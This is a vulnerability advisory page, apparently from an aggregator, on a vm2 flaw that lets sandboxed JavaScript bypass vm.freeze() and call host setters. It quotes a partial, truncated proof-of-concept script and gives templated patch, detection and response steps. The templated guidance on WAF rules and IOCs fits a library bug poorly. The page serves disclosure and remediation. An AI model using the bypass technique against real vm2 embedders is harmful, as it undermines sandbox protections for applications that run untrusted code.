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CVE-2026-92949 medium CVSS 4.0

Vulnerability in vm2 (CVE-2026-92949)

Summary

Vulnerability in vm2 (CVE-2026-92949). Risk of unauthorized operations or information disclosure. Exploitable via BaseHandler.apply. Mitigation: upgrade to 3.11.7 or later.

Original description

The description as published by the source.

Summary

Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.

PoC

// poc.js
'use strict';
const { VM } = require('vm2');

let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
  get() { return _level; },
  set(v) { _level = String(v); },
  enumerable: true, configurable: true,
});

const vm = new VM();
vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level);   // → "safe"

// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
  const d = Object.getOwnPropertyDescriptor(cfg, 'level');
  d.set.call(c…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-92949 has been found in vm2.
Attackers can target a specific entry point like BaseHandler.apply over the network to misuse the product.
Risk of unauthorized operations or information disclosure. CVSS score: 4.0/10.
What to do: upgrade vm2 to 3.11.7 or later.
If unsure, ask your IT team or search "vm2 CVE-2026-92949" on the vendor's site.

CVE-2026-92949 (vm2) — CWE-471 / CVSS v3 4.0
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: BaseHandler.apply / NodeVM / __lookupSetter__ / ReadOnlyHandler
Patched: 3.11.7 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-471) exists in vm2. Attackers reach the vulnerable code path via BaseHandler.apply without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of vm2. Attack surface: BaseHandler.apply / NodeVM / __lookupSetter__ / ReadOnlyHandler.

🔥 Severity

Severity: Medium (CVSS 4.0/10). Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 3.11.7.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'vm2' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'vm2' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で vm2 を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade vm2 to 3.11.7

    ステージング環境で 3.11.7 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm vm2
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.7"}]}]

References

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